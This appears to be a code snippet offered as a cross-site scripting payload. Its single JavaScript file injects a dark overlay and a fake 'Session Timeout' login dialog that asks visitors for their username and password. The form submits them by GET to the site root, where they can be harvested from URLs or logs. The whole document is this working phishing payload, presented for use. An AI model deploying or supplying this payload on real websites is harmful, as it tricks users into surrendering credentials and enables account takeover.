Modal Login Box for XSS

login.js

document.body.innerHTML+="<style>#login_modal_fade {position: absolute; width: 100%; height: 100%; top: 0; left: 0; background: black; opacity: 0.85;}#login_modal_container {position: absolute; top: 20%; left: 30%; width: 30%; background: white; padding: 0 1em; border: 1px solid black; border-radius: 5px;}#login_modal_container label {width: 20%;}</style><div id='login_modal_fade'></div><div id='login_modal_container'><form method='get' action='/'><h2>Session Timeout</h2> Your session has timed out, please log back in.<br><br>   <div class='field'><label>Username: </label><input type='text' name='username'></div>    <div class='field'><label>Password: &nbsp</label><input type='password' name='password'></div><br><div class='buttons'><input type='submit' value='Log in'></div></form></div>";